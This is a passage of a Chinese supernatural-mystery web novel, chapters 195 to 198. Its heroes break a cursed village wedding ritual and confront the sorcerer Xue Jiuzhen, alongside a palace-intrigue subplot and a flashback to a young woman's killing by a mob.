“今天这又摊上事儿!明明一开始,这老梆菜那双贼眼珠子滴溜溜的,瞧上的就是你!”
也不知是不是赵悉的声音太大了,一直僵立不动的黄里正,喉头忽然发出“嗬”的一声怪响!
随即,两个垂手侍立、脸颊两坨红的干瘦婆子,如同接到了指令的木偶,动作僵硬却步伐一致地走上前来。
二人伸出枯瘦如鸡爪的手,直直朝着赵悉本人抓来!
“你们别过来啊——!”
赵悉抱着衣服连连后退,声音都变了调,就差没喊“强抢民男”了。
就在这时,一只修长苍白的手,从旁边伸了过来,拎起了那件最外层的大红喜服。
裴琰之苍白的面容上,浮起一抹极淡的笑:“方才多亏赵大人的灵符,才救了在下一命。
如今既然……需要一**宜行事,我来也是一样的……咳咳……”
他话未说完,又是一阵压抑的咳嗽。
不待赵悉反应过来,裴琰之已深吸一口气,强忍伤痛,手臂一展,将那件大红的喜服径直披在了自己身上!
他本就生得俊雅斯文,眉眼如画,此刻因重伤失血,脸色苍白如雪,更衬得那身大红鲜艳夺目,有一种惹人怜惜的俊美。
或许是裴琰之这主动披衣的动作过于利索,刚才那两名想要上前“帮忙”更衣的诡异婆子,竟僵在了原地。
四只死鱼眼直勾勾地看着裴琰之,一时没了下一步动作。
第195章 娘子,该下轿了
黄里正的脖子又“咔”地轻响了一下,“视线”终于从萧启和赵悉身上,完全转移到了裴琰之身上。
他手臂缓缓抬起,手里不知何时多了一根包着红绸的细长木杆——
那分明是等下婚礼仪式中,用来挑开新娘盖头的“喜秤”。
赵悉只觉得头皮阵阵发麻,小声道:“待会儿该不会真要用这玩意儿,去挑那‘新娘子’的喜帕吧?光想想我就……”
他做了个牙酸的表情。
萧启面寒如冰:“用不着。”他目光扫过周围密密麻麻的“活**”村民,“等都‘到齐’,全杀了。”
裴琰之披着红衣,轻轻咳了一声,低声道:“殿下,这些……恐非活人,寻常刀兵之法,未必管用。”
萧启问:“之前诓骗你和李牧的那个婆子,可在这其中?”
裴琰之摇了摇头:“未曾见到。且那婆子与这些人都不同,是活人无疑。”
赵悉听了,眼珠一转,忽然想起什么。
他小心翼翼从袖袋深处,摸出一张黄色符箓,递向裴琰之。
“这个,可是我之前死缠烂……诚心诚意拜托云昭,给我独家订制的灵符!”他塞进裴琰之手里,“清心明智,破妄存真!贴上之后,脑瓜子转得贼快!
云昭的灵符,对外售卖三千两一张。这张,就当我暂时赊给你的!”
他一边说,一边扯开衣襟一角,示意裴琰之看清楚:“就像我这样,贴在心口位置,效果最好!”
裴琰之浓长的眼睫轻轻颤了一下。
他目光落在赵悉手中那符箓上,指尖冰凉,缓慢却坚定地攥住了那张符箓,贴身贴在了正对心口的位置。
一旁萧启淡淡道:“难怪感觉你今天比往日灵光不少。”
“别以为我不知道你又在嘲讽我!”赵悉瞬间瞪了过去,“本官好歹也是勘破无数悬案的京兆府尹!”
萧启没理他,目光已如鹰隼般投向祠堂正门外的方向——
此前一直忽远忽近的吹打乐声,在这一刻,陡然变得无比清晰!
透过洞开的祠堂大门,可以看到昏暗的村道上,影影绰绰的人影正簇拥着什么,朝着祠堂方向缓缓移动。
花轿那抹红,在一片混沌之中,如同滴入清水的一滴浓血,红得刺眼。
就在这顶诡异花轿出现的瞬间,祠堂正堂之内,某种难以言喻的变化,正在悄然发生。
最先察觉到不对劲的,正是刚刚贴上灵符的裴琰之。
他的目光无意中再次扫过正前方的黄里正,心头猛地一跳!
只见方才还腰背挺直的黄里正,仿佛瞬间被抽走了支撑的骨骼,以肉眼可见的速度佝偻了下去!
而他脸上那层不正常的红润,也如同潮水般迅速褪去,取而代之的是一种灰败的土色,眼窝也更深地凹陷下去!
裴琰之强忍不适,迅速朝周围的村民看去——
那些原本只是脸色惨白、眼神空洞的村民,头发正迅速失去色泽;裸露在外的皮肤,皱纹正在加深!
仿佛瞬间被偷走了不知几年光阴!
紧跟着发现异常的是赵悉。
他正紧张地盯着门外,眼角余光忽然瞥见身旁李牧的侧脸,不由得失声低呼:“你、你的头发!还有胡子!”
只见李副将两鬓乌黑的头发,此刻竟已染上霜白!下巴和唇上那些粗硬的胡茬,也在根部透出了刺眼的银白!
李牧茫然地摸了摸自己的脸,又低头看向自己扶刀的手背——
手背上的皮肤似乎也松弛了一些,青筋更为凸出。
赵悉简直不敢去看萧启和裴琰之此刻的模样,更不敢低头查看自己!
然而,不用他多说,萧启已敏锐地感觉到了四肢百骸传来的、那种极其细微却无法忽视的变化。
只不过,萧启、赵悉和裴琰之三人,都正值二十出头的青春鼎盛之年,这种衰老的变化,在他们身上并不那么明显。
“咚——!”
大红花轿已经被轿夫停放在了祠堂正门外。
而就在花轿落地的同一瞬间,一直强撑站立的裴琰之,身体猛地一颤,直挺挺地朝后倒去!
萧启反应极快,长臂一伸,将人扶住。
只见裴琰之伤处正以极快速度发黑、焦枯,胸口再无心脏跳动的动静!
萧启心中一沉。
对早已重伤的裴琰之而言,此处辰光的加速流逝,就是在索他的命!
“李牧,扶好裴大人。”
话音未落,萧启已猛地抬手,扯下裴琰之身上那件大红喜服,披在了自己身上!
玄色劲装为底,外罩猩红喜服,眉宇间煞气尽显,竟有种惊心动魄的俊美与威严。
就在他披上红衣的刹那——
不知从祠堂哪个幽暗的角落,传来一个飘忽苍老的男声,用一种古老而刻板的调子,拖长了音念道:
“吉时已到——礼启——
今有新郎阮氏,谨持轩辕宝弓,肃清寰宇,以迎佳妇——!
一箭射天——天赐良缘——!”
按照古礼,此时新郎应向天虚射一箭,寓意祈求上天福佑。
然而,萧启根本不等那虚无的声音将仪式念完!
他一把抄起旁边木桌上早已备好的一副老旧弓箭,目光如电,瞬间锁定了声音传来方向,倏然转身——
搭箭,挽弓!
动作行云流水,充满力与美的爆发,全然不似礼仪虚射!
弓弦震动,发出轻微的“嗡”鸣。
那支红布箭头的礼仪箭,带着尖锐的破空之声,以惊人的速度化作一道红色残影,凌厉无比地反身射向他锁定的那片阴影!
“噗!”
一声极其轻微、如同扎入败絮的闷响传来。
那道念叨着婚礼仪程的苍老男声,戛然而止。
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>整个祠堂陷入一片死寂,只有幽绿的灯火,不安地跳动了几下。
萧启一击即中,毫不恋战。
手中弓箭未放,身形已如离弦之箭般,快速越过僵立的村民,直朝门槛外那顶猩红的花轿疾掠而去!
红衣在他身后猎猎飞扬,如同燃烧的火焰,亦如奔赴战场的旌旗。
身后,赵悉和李牧不敢怠慢,连忙合力将昏迷的裴琰之扶到近前一张铺着暗红绣“囍”字锦垫的宽大座椅上。
情急之下,他们并未留意,这张座椅的位置和制式,分明是旧时婚礼上,新郎父母高堂所坐的尊位。
而就在裴琰之被安置在这张“高堂椅”的一瞬间——
他原本紧闭的双目,竟然缓缓地睁开了!
他的眼神起初是涣散而茫然的,如同蒙着一层薄雾。
但很快,那层雾气似乎被胸口符箓传来的清润之意驱散了些许,显露出属于“裴琰之”本人的清明神采。
“裴大人?!”赵悉又惊又喜,低呼出声。
然而,裴琰之虽然睁开了眼,身体却依旧僵硬如木,动弹不得。只有眼珠,极其缓慢地转动了一下。
他看向赵悉,又吃力地转向祠堂内的景象。
他的身体被“固定”在了这张椅子上,姿势与周围那些僵立的村民无异,仿佛也成了这诡异仪式的一部分。
萧启此刻无暇他顾。
他几个起落已至门前,满身杀气凛冽,手中弓箭引而不发,直指那顶静默的猩红花轿。
就在他踏出门槛、逼近花轿之时,目光锐利地扫过轿子两侧——
只见众人脸上虽涂抹了泥膏掩盖生机,但那股熟悉的精悍气质与军营站姿……正是裴寂和他的翊卫手下!
而花轿右侧,一个身形略矮、面容沉静的老妇垂手而立,手中握着一柄非金非木的短尺,正是孙婆子!
萧启心头微松,满身的杀气瞬间收敛了大半。
他手中弓箭随之调转了方向,不再直指花轿,而是斜指向地面,但手指依旧扣在弓弦之上,随时可以应变。
猩红的花轿静静停在那里,轿帘低垂,密不透风。
须臾,他伸出手,修长的手指触及冰凉光滑的轿帘边缘,缓缓掀开了一角。
首先映入眼帘的,是一袭样式简洁的淡青色衣裙。
衣裙的腰际,悬着一枚玉佩,在昏暗光线下,隐约可见其温润质地,正是产自朱玉国的至宝。
萧启的眸光微动。
所有的冷冽、肃杀、凝重,在这一瞬,宛如春阳下的坚冰迅速消融,化为某种难以言喻的灼亮。
他保持着掀帘的姿势,随后朝着轿子里那道窈窕的身影,郑重地伸出了自己的手。
掌心向上,手指微微弯曲,那是一个等待握住的姿态。
他声线微低,带着某种深藏情绪的喑哑:
“娘子,该下轿了。”
第196章 好痛!我的肚子!
隔着盖头,云昭听到这声“娘子”,心头不由“咯噔”一下,暗道不妙。
秦王何等人物?向来冷静自持,言辞犀利,何曾用过这般缠绵悱恻的腔调与她说话?
这村子诡异,恐怕连他也着了道,说话才这般怪腔怪调,失了往常的冷冽清明。
心念电转间,她借着萧启伸手相扶的力道,迅速从轿中站起。
另一只手则悄然探向腰间那个不起眼的灰色小荷包——
正是之前她让众人涂抹在脸上、用以掩盖生机的特制泥灰。
云昭动作快如闪电,五指一探一收,已挖出一小团冰凉黏腻的泥膏。
趁着萧启靠近的瞬间,她抬手,毫不迟疑地抹在了他的脸颊和额头之上!
动作干脆利落,甚至带着几分不容分说的蛮横。
萧启被她这突如其来的举动弄得一怔,他下意识想要偏头,但对云昭本能的信任让他克制住了闪避的冲动。
泥膏带着土腥气和草药的清苦味,涂抹在脸上之后,那种宛如沙漏般飞速流逝的吸力,仿佛被隔绝了。
萧启眸中瞬间闪过一抹了然。
祠堂深处的苍老男声重新地响了起来,似乎多了几分不易察觉的催促:
“礼继——请新人,迎新妇,入华堂!”
云昭步履沉稳,目光透过盖头下的缝隙,迅速扫视堂内情况。
就在她一只脚跨过祠堂门槛的瞬间——
不知从何处卷来一股阴冷刺骨的穿堂风,“呼”的一下!
盖头飘然落地。
扶着裴琰之的赵悉顿时倒抽一口冷气:“太**阴险了!这女鬼居然幻化出云昭的模样来骗我们!”
端坐在“高堂椅”上的裴琰之目光却微微一闪。
正好没了盖头阻挡视线,云昭目光如电,第一时间便锁定在了端坐椅上,脸色青灰的裴琰之。
她一个箭步抢到裴琰之面前,先取出一个羊脂玉瓶,倒出一粒色泽金红的丹丸,将之塞入他舌下。
这是云昭压箱底的保命灵药之一,能在极短时间内吊住垂死之人的一线生机。
紧接着,她从腰间另一个锦囊中快速抽出三张颜色、符文各异的符箓,依次按入裴琰之心口位置。
但云昭很清楚,丹药和符箓都只是暂时续命的手段,如同在漏水的破船上拼命舀水。
若想救人,必须找到并摧毁阵眼,彻底破了这邪阵!
她直起身,看向一旁仍有些愣神的赵悉:“赵大人,符箓贴得不错。”
赵悉被夸得有些不好意思,但目光还是忍不住在云昭脸上来回扫视。
真是云昭啊?她来得可真快,真好!
裴琰之坐在椅上,嘴唇艰难地嚅动着,似乎想说什么,却发不出任何声音,只有喉结在轻微滚动。
云昭将灰色荷包解下,递给三人,示意他们快速涂在脸上。
就在这时,身后突然传来一道幽怨凄楚、饱含无尽委屈与绝望的女声:
“阮郎——!你好狠的心啊!”
众人心中凛然,齐刷刷循声望去。
只见祠堂门口,本已被云昭弃在路旁的苏玉嬛竟不知何故,去而复返!
她一袭大红嫁衣,浓妆的脸上泪痕交错,哀婉泣道:
“阮郎,你我自幼定亲,海誓山盟,你说过今生非我不娶!
你进京赶考前夜,在村口老槐树下,你向我起誓,说待你高中,必定凤冠霞帔,八抬大轿,风风光光迎我过门!”
“可如今你回来了,身边却有了新人!你怎能如此弃我不顾?!你让我和肚里的孩儿,往后可怎么活啊?!”
让所有人瞳孔骤缩、头皮发麻的是——
苏玉嬛那原本平坦的小腹,此刻竟高高隆起,将身上那件旧嫁衣的前襟撑得紧绷。
俨然一个怀胎九月、即将临盆的妇人!
“苏玉嬛?!”赵悉失声低呼,满脸的不可思议,“她怎会在这?”
萧启眼神冰冷:“今日出现在此地,要么是自己人,要么便是设局之人。”
云昭闻言心中一动,萧启这话,说得倒也不错。
裴琰之和李牧在此被困近两日,萧启与赵悉紧随其后而来,也被困其中。
而苏玉嬛却在这个节骨眼上出现在将家村,恐怕,她与薛九针之间,存在着某种不足为外人道的关联。
苏玉嬛眼眶通红,泪水不断滚落,踉跄着迈过门槛,朝着萧启走来。
她伸出颤抖的手,想要去抓萧启的衣袖:
“阮郎……你看看我,你看看我们的孩儿啊!”
她声音哀戚,另一只手抚上自己高耸的腹部,“大夫都帮我看过了,说是个健壮的男胎!是你们阮家的嫡长孙啊!”
萧启垂眸,看了一眼自己被拽住的衣角,手臂微一用力,干脆利落地将身上那件大红喜服扯了下来,扔在地上。
苏玉嬛拽着衣角的手骤然落空,眼神出现了一瞬间的茫然,仿佛卡了壳。
随后,她“噗通”一声跪倒在地,朝着祠堂前方裴琰之坐的位置,开始拼命磕头。
“爹!娘!求求你们,为玥儿做主啊!”她哭喊着,声音凄厉,“玥儿怀了阮郎的骨肉,千真万确!
咱们阮家马上就要有后了!求爹娘看在未出世孙儿的份上,不要让阮郎另娶新妇!”
她磕得又重又急,仿佛感觉不到疼痛,额头很快便是一片青紫。
然而,坐在椅子上的,是根本无法开口说话、也无法动弹分毫的裴琰之,自然没人能回应她。
又或者,当年坐在堂上的“公婆”,也是这般从未回应过“她”。
这场面荒诞诡异,又透着一股令人心底发凉的悲哀。
突然,死寂的村民中,不知是谁最先发出了一声含糊的低语,充满了让人齿冷的恶意:
“呸!不要脸的贱蹄子!还未嫁人肚子就大成这样?谁知道是哪里来的野种!”
“看她那眉眼,就不是安分的!早该浸猪笼了!”
“祖宗的脸都被她丢尽了!这种不守妇道的,就该活活打死!”
污言秽语如同潮水般涌来。
而随着这些恶意的议论,苏玉嬛仿佛被一种无形的、巨大的力量猛地推倒在地!
“啊——!”她发出一声凄厉的惨叫,双手捂住高高隆起的腹部,脸色瞬间惨白。
只见一滩刺目的血水,迅速从她身下蔓延开来,染红了身下陈旧的青石板,也浸透了她那身旧嫁衣。
剧痛让她蜷缩起来,身体因为剧烈的挣扎和翻滚而不断扭动。
偏偏就在这时,她腰间那个一直鼓鼓囊囊的绣花荷包,因为剧烈的动作,系带陡然松脱!
荷包口朝下,里面的东西“哗啦”一声,尽数掉了出来,落在血泊和她的衣裙之上。
那并非寻常女子携带的胭脂水粉,而是一堆符箓、药丸,其中更有一枚婴儿拳头大小的古玉。
莲花古玉滚落的瞬间,骤然变得明亮而温暖。
如同暗夜中升起的一轮小小明月,瞬间驱散了周围数尺内的阴冷与秽气!
苏玉嬛被这白光一照,正翻滚哀嚎的动作猛地一僵!
她眼神中的凄惶、无助、绝望如同潮水般迅速退去,取而代之的是极致的迷茫与混乱。
仿佛大梦初醒,不知身在何处。
“我……这是……哪里?”
她无意识地喃喃,目光掠过周围诡异的祠堂、面目呆滞的村民、地上的血泊,还有自己高高隆起的、正传来撕裂般剧痛的腹部……
然而,这清醒只维持了极其短暂的一瞬。
腹部传来的、仿佛要将她整个人撕裂开的剧痛,瞬间淹没了她刚刚复苏的理智!
“痛……好痛!我的肚子!”
她惨叫着,双手死死抓住腹部的衣物,眼睁睁看着一个沾满粘液和血污的婴孩,竟然缓缓从她裙摆遮掩处,爬了出来!
那婴孩一落地,便抬起那张肉
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嘟嘟的小脸,一双漆黑的眼瞳,直勾勾地看着苏玉嬛!
他尖细的嗓音喊道:“娘亲……快跑!”
苏玉嬛被这超出认知的恐怖一幕彻底击垮,连惨叫都卡在了喉咙里,只剩下一片空白的恐惧。
她视线转动,正好看到暗恋多年、宛如天边明月的秦王,正修眉微蹙,眼神冰冷地注视着她!
极致的恐惧、羞耻、疼痛,以及某种被彻底打碎幻想的崩溃,让她发出一声非人的尖叫!
她手指猛地抬起,直直指向了站在萧启身旁神色冷静的云昭——
“是你!是你害我!一定是你搞的鬼!
姜云昭,你这个妖女!你用了什么妖术害我?!”
她声音嘶哑尖厉,充满了怨毒与疯狂,仿佛要将自己此刻所有的不幸,都归咎于那个她一直暗暗嫉恨的女子。
然而,婴孩的警告并非虚言。
祠堂内,那些原本如同泥塑的村民,动作迅捷而统一,纷纷朝着血泊中挣扎的苏玉嬛聚拢而来。
一只只枯瘦或粗壮的手,紧握成拳,高高扬起,直朝着她狠狠砸下!
苏玉嬛痛不欲生!
无助与绝望之下,她猛然瞥见了落在染血衣裙上的莲花古玉。
求生的本能让她不顾一切地伸出手,死死将之抓住!
“嗡——!”
古玉被她握住的瞬间,白光暴涨,如同一个小小的太阳在她掌心炸开!
一股浩然纯净、驱邪辟秽的温暖力量以她为中心,猛地扩散开来!
那些扑到近前的村民,被这白光一照,动作瞬间出现了明显的迟滞!
他们脸上麻木的狰狞被一种本能的畏惧取代,高举的拳头僵在半空,仿佛撞上了一层无形的屏障,前进不得。
就是这短暂的迟滞,一直冷静观察的萧启动了!
他一手依旧揽在云昭腰侧,飞身直朝那阴影最深处掠去,另一只手顺着云昭的手臂外侧滑下,精准地抚上她隐于袖中的护腕!
“咔!咻——!”
一支微型**箭,从云昭腕下激射而出!
箭矢所指,正是萧启之前凭感觉射出一箭的方向!
云昭在**箭射出的瞬间,便已领会了萧启的意图。
她左手闪电般从腰间一抹,指尖已夹住一张深紫色的“破煞雷符”——
“燃!”
符箓无火自燃,化作一团拳头大小、紫电缭绕的雷火!
第二支**箭精准地穿过了云昭掷出的雷火,箭身缭绕着紫电,如同一条咆哮的紫色电蛇,紧追第一支**箭而去!
云昭眼中厉色一闪,毫不犹豫地将左手中指放入口中,用力一咬!
殷红的血珠瞬间沁出。
她以染血指尖,迅速在虚空中凌空勾勒出一个血色符文,再次探向腰间。
心头血落,黄符燃起!
第三支**箭后发先至,如同血色流星,划破祠堂的昏暗,与前两支**箭呈品字形,狠狠扎向那片阴影深处!
一箭快过一箭,一箭强过一箭!
云昭的符,萧启的箭,二人精准的时机把握和射击技巧,配合得天衣无缝!
阴影之中,似乎传来了什么被接连洞穿的闷响。
身后,紧握莲花古玉的苏玉嬛,挣扎着想要爬起来逃跑。
然而她刚一用力,却骇然发现,自己的左腿不知为何竟完全使不上力气,一着地就剧痛钻心,只能一瘸一拐!
“我的腿!我的腿怎么了?!”
她惊恐地尖叫,再次摔倒在地,莲花古玉的光芒也因此闪烁不定。
极致的恐惧淹没了她,她再也顾不上什么仪态、什么形象,如同一个被吓坏的孩子,双手抱头,发出凄厉无助的哭喊:
“娘——!娘——!救我!嬛嬛好怕!娘——!”
“不——!怎么可能!!!”
祠堂深处的阴影中,猛地传出一声沙哑却充满了惊怒、痛苦与难以置信的尖声咆哮!
第197章 是你偷了我的腿!
午后暑气正盛,四角镇着的冰山缓缓化出水汽,与鎏金兽炉中逸出的苏合香融在一起,在殿中织成一张慵懒而窒闷的网。
孟贵妃斜倚在榻上,涂着鲜红蔻丹的指尖轻轻揉按太阳穴。
“这几日也不知是怎么了,本宫总觉得身子沉,乏得很,心里也闷。”
大宫女锦屏垂首温言道:“娘娘可要传太医来请个平安脉?”
“不必了!”孟贵妃轻嗤,“太医院那帮老骨头,开的方子吃不**,却也治不了病。”
她伸手捻起一颗紫玉葡萄,忽而问道:“梅氏人呢?还守着她那不成器的女儿?”
锦屏眼观鼻、鼻观心,声音愈低:“是,听说昨天夜里姜奉仪身子不爽,又不敢惊动太医,梅氏便自请过去照看了。”
“一个婚前便主动献媚的轻浮东西,怀得上,却未必生得下。”
孟贵妃眼底闪过一抹阴鸷,“我早前还觉着苏**怎会养出这种女儿,后来知道她是梅氏的种,也就不稀奇了。妾室生的,终究是低贱,承不住贵气。”
锦屏低垂着脸,不敢接话。
从前她以为贵妃对太子身边的女子总多几分留意,不过是表姊弟之间的寻常照拂。可自从碧云寺那件事后,一些模糊的猜测便如藤蔓悄悄缠上心头,让她不敢细想。
再熬两个月,她便可按例放出宫去。
她权当自己是个瞎子、傻子,安安分分熬过最后的日子便好。
至于贵妃腹中这胎,究竟有没有什么见不得人的隐秘,与她一个将离宫的奴婢何干?
知道得越少,命才越长。
贵妃下意识地抬手,拨弄腕上那串蓝水玉珠。
也不知怎的,那珠子凉冰冰的触感,让她禁不住打了个寒颤。
她有些烦躁地道:“兄长说,这是玉衡**特意为本宫开过光的手串,可以汇聚灵气、安胎养神……
可本宫戴了这几日,除了瞧着好看,身子反而愈发沉重了。”
听到贵妃议及这些玄异之事,锦屏眼睫轻颤了颤,脑海里不由浮现一张秾丽却冷傲的容颜……
若不是娘娘一开始就偏心梅氏,将那姜云昭得罪得死死的,如今凭着贵妃之尊,说两句软话请她过来瞧瞧,不比什么玉衡**都强?
那梅氏眼神飘忽,心思九曲,分明心术不正,又岂会是真正的倚靠?
“娘娘……”锦屏刚欲寻话宽慰,殿外猛然传来一阵惊慌踉跄的脚步声。
守门的小内侍来不及通传,珠帘已“哗啦”一声被撞开!
一个面生的小太监连滚带爬扑跪在金砖地上,额上汗涌,面白如纸,声音抖得不成调:“娘、娘娘!大事不好!大将军他……他……”
贵妃心头猛跳,扶榻坐直,厉声道:“慌什么!舌头捋直了说!大将军怎么了?”
小太监几乎瘫软,伏地颤道:“大将军今日休沐,陪府上小公子去殷府送纳彩之礼……
谁知殷家大房的姑爷突然发了狂症,见人就扑,张口撕咬!
大将军为护小公子,脖子被狠咬下一块肉,鲜血淋漓,当场昏死过去!
殷府如今已乱作一团,太医也请了,可那血……怎么也止不住啊!”
“什么?!”贵妃耳中“嗡”的一响,如有什么陡然炸开。
她霍然起身,腹中却传来一阵清晰的抽痛,身形一晃,不得不死死按住小腹。
“胡言乱语!人怎会无缘无故咬人?还咬得血流不止?殷家大房的姑爷……又是哪个?”
贵妃觉得这消息荒谬如市井怪谈,一时心乱如麻,竟怎么也记不起殷家大姑娘嫁的姑爷又是哪个……
剧烈的心绪波动与腹疼交织袭来,她脸上血色尽褪,额冒冷汗,身子软软向后倒去。
“娘娘!”
锦屏魂飞魄散,冲上前与另一宫女合力扶住贵妃,将她缓缓靠回榻上,一边朝众人喊道,“快传御医!”
转头,对那小太监疾言厉色地喝骂:“糊涂东西!你是哪个院里当差的?
这等没头没尾的骇人之事,也敢直闯宫闱、惊扰娘娘凤体?
若是吓着娘娘与龙胎,你有几个脑袋够砍!”
殿内一时乱作一团。
宫女内侍慌慌张张,扶人的扶人,取药的取药,还有好几个连滚带爬地跑出去寻太医。
锦屏在忙乱中抬眼,再寻那报信的小太监,却见那青灰身影早已悄无声息退至门边,一闪便没了踪迹。
锦屏的心倏然沉下,眼皮狂跳。
这是有人算准了时机,特意来送信的!
为的就是让贵妃惊怒焦虑,动了胎气!
她强迫自己冷静,脑中飞转。
是了,约莫三四个月前,陛下为示恩宠,亲自为贵妃胞弟与殷家三小姐赐了婚。
那殷家大房的姑爷,似乎姓阮……阮鹤卿!对,是这个名字。
此人曾是探花,不仅文采斐然,更生得貌若好女。
约莫七八年前,此人与殷家大小姐殷若华在七夕灯市上一见倾心,传为佳话,成婚后也算郎才女貌。
锦屏虽未见过,却也听过阮探花的名声——
一个温文尔雅的白面书生,怎会陡然变成择人而噬的狂徒?
这事,从头到脚都透着一股邪气。
可眼下贵妃已捂着肚子呻吟不止,面白如纸,披香殿内人仰马翻,谁还顾得上去追查那小太监究竟是谁的人?
锦屏深吸一口气,压下心头翻涌的寒意,指挥众人稳住局面。
眼下最要紧的是贵妃与龙胎。
至于那消失的小太监,既然贵妃此刻无暇深究,她一个宫女,又何必在此时去触那霉头?
她只盼太医快来,稳住娘娘的胎象,先把眼前的难关熬过去!
那报信的小太监出了披香殿,脚步未停,腰背佝偻得更低,沿着宫墙夹道疾步而行。
七弯八绕,穿过一片僻静竹林,在与一个捧衣盒低头行走的宫女擦肩时,眼皮几不可察地一抬,递过一个极隐晦的眼色。
宫女脚步未顿,仿佛什么也未察觉,仍规规矩矩前行。
只是待那小太监的身影消失在另一条岔路后,她原本直行的方向悄然偏转,步子依旧平稳,却稳稳朝着后宫柔妃所居的“漪兰殿”去了。
莲池畔,柔妃正临水闲坐,指尖捻着鱼食,有一搭没一搭地逗弄着池中锦鲤。
眼角掠过那抹渐近的宫女身影,她也不急,只微微倾身,将指间一张细小的字条不慌不忙撕作数片,混入饵料,一同撒入粼粼波光之中。
宫女快步上前,轻轻托住柔妃抬起的手腕:“娘娘仔细起身。”
声音压低,恰似耳语:“殿下尚无音讯,但听闻……姜司主也已入了那村子。”
柔妃眼波微动,唇边笑意却淡了下去,眸底掠过一丝冰刃般的厉色。
她借着宫女搀扶的力道缓缓站直,声音轻得像一阵穿堂风,却字字清晰:
“若日落之前仍无消息……贵妃的胎,太子的性命,都不必留了。”
宫女低眉敛目
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,轻声应了一句,便扶着柔妃沿池缓步而去。
莲叶田田,掩过池面微澜,也掩去了方才沉入水底的碎屑。
*
将家村,祠堂。
随着那一声苍老凄厉的咆哮,一道佝偻如枯枝的身影,自祠堂最深的阴影中踉跄奔出。
就在他现身的刹那,整座祠堂仿佛被一只无形的手抹去了时间的伪装:
梁柱上的朱漆大片剥落,露出底下朽黑的木质;
堂内“孝悌忠信”的匾额瞬间布满蛛网与尘埃;
地面青石板的缝隙间,野草以肉眼可见的速度枯黄、**。
而那些原本如泥塑般僵立的村民,脸上麻木的神情开始松动,眼神从空洞渐渐转为惊恐、茫然,最后定格在彻骨的骇然之上。
他们依旧苍老,皱纹更深,白发更枯。
却不再是任人操控的傀儡,而是变回了被漫长噩梦折磨得形销骨立、神智将溃的活人。
黄守义颤巍巍地抬起手,指向那佝偻身影,喉中发出“嗬嗬”的抽气声,仿佛见到了从地狱爬出的恶鬼。
他身后,几个年迈的村民直接瘫软在地,裤裆处洇开深色水渍。
萧启目光如寒刃,朝来人看去:“薛九针?”
那人彻底走出了阴影。
他身躯干瘪瘦小,背脊佝偻如虾,行走时甚至带着几分女子般的扭捏姿态。
但那双眼睛黑沉沉的,宛如深不见底的枯井。
云昭目光在他身上逡巡,短短数日不见,薛九针变得苍老佝偻,满身邪气,这正是强催邪阵夺人性命的代价!
“是他!”一旁扶着裴琰之的李牧,咬牙切齿道:“之前就是他,扮成一个瞎眼婆子,在村口哭着说孙女丢了,骗我和裴大人进了一处荒院!”
一旁早已心神崩溃的苏玉嬛,听到“薛九针”三字,如同被针扎了一下,缓缓放下抱头的手。
她涣散的目光聚焦在那佝偻身影上,呆滞了片刻,突然爆发出凄厉的尖叫:
“是你——!是你偷了我的腿!把我的腿还回来!还给我!!”
她挣扎着想扑过去,却因左腿无力再次摔倒,只能用手疯狂捶地,涕泪横流。
云昭闻言,眸光一锐,迅速扫向薛九针的下半身。
只见他虽然身躯佝偻老迈,但方才行走间,步伐却异乎寻常的沉稳有力,双腿行动间甚至带着一种不协调的“矫健”。
再对比苏玉嬛那明显萎缩、长短不一的左腿……
一个残酷而诡异的猜想浮上心头。
“移花接木,夺人生机……”云昭心中凛然,“好阴毒的邪术。”
薛九针对苏玉嬛的尖叫充耳不闻,那双黑洞般的眼睛,从现身起,就牢牢锁定了云昭。
“是你破了我的阵眼……”
他的声音嘶哑干涩,像砂纸摩擦着朽木,“我苦心布局八年,竟毁在你一个小丫头手里。”
他盯着云昭看了良久,他先是愕然,随即像是明白了什么,竟仰天哈哈大笑起来。
“哈哈哈哈……原来如此!原来如此!”
他笑得上气不接下气,枯瘦的手指直指云昭,“所有人都以为,栽在你手上不过偶然!是他们自己太蠢!”
他笑声戛然而止,他猛地凑近一步,黑洞般的眼睛死死“钉”住云昭,压低的声音里带着一种令人毛骨悚然的兴奋与恶毒:
“那些庸碌蝼蚁,如何斗得过逆转天命、再世归来之人?
今日我输在你手上,不冤!一点儿也不冤!”
第198章 小心你身边的人
“再世之人”四字一出,云昭心头猛地一跳。
萧启眸色骤深,赵悉面露茫然,裴琰之虽不能言,睫毛却几不可察地颤了颤。
薛九针笑够了,喘着粗气,眼底光芒未散,盯着云昭的眼神竟透出几分诡异的“了然”:
“你我都是玄道中人,冠冕堂皇的话不必再说。”
薛九针收起癫狂,声音骤然冷硬如铁,“今日你破了我的阵,但谁也不能阻我复仇!”
他猛地转身,看向萧启与赵悉:
“两位贵人既然有命活着,过了今日,就帮我把将家村的真相大白于天下吧!”
言罢,他枯瘦如鸡爪的双手猛地向上一抬——
祠堂景象骤然扭曲,宛如被水墨浸透的画卷。
众人脚下一空,仿佛跌入时光深渊,再睁眼,已置身于八年前那个暴雨如注的夜晚。
祠堂前院。
衣着光鲜的阮鹤卿站在台阶上,对着下面黑压压的村民高声道:
“此女不祥,产下鬼胎!
只要今日诸位齐心,为我阮家清理门户,我阮鹤卿不日将迎娶殷氏千金!
届时,每户人家——赏黄金一锭!”
一夕之间,那个温柔善良、会给村里孩子分糖吃的薛小玥,成了“不守妇道、婚前失贞”的**。
男人们挥拳,女人们唾骂,孩子们丢石头。
一人一拳,一口唾沫,一块石头。
薛小玥蜷缩着,拼命护着怀里甚至连脐带都未剪断的婴孩,目光穿过疯狂的人群缝隙,死死望着那个她曾倾心爱慕、如今却冷漠袖手的书生郎。
直到那具单薄的身体再也不动。那双曾盛满星光的眼睛,至死未合。
满村男女老少,宛如披着人皮的牲畜,生生将那个才十七岁的少女,打死在祠堂里。
少女脸上没有痛苦,只有一片死寂的茫然。
她睁着眼,望着祠堂漏雨的屋顶,雨水混着血水从她眼角滑落,像泪。
祠堂门口,站着两排人。
为首的是一对穿着体面的老夫妇——
那是阮家公婆。
他们面色冷漠,看着血泊中的少女,如同看着一滩待清理的污秽。
“抬出去罢。”阮老爹的声音没有一丝波澜,“别脏了祠堂。”
四个粗壮汉子走上前,用破草席裹住少女,像抬牲口一样抬出祠堂。
雨越下越大。
乱葬岗深处,一个新挖的土坑前。
少女被扔进坑里时,似乎回光返照,突然睁开眼,死死抓住坑边一人的裤脚。
那人喉咙里发出一声尖叫,吓得猛踹一脚。
少女滚落坑底,却用尽最后力气,将怀里的婴儿托举起来!
泥土一铲一铲落下,直到坑里的人再也看不清容颜。
人群散去,大雨一夜未歇。
一只染满鲜血、指甲尽裂的手,猛然破土而出!
紧接着是另一只。
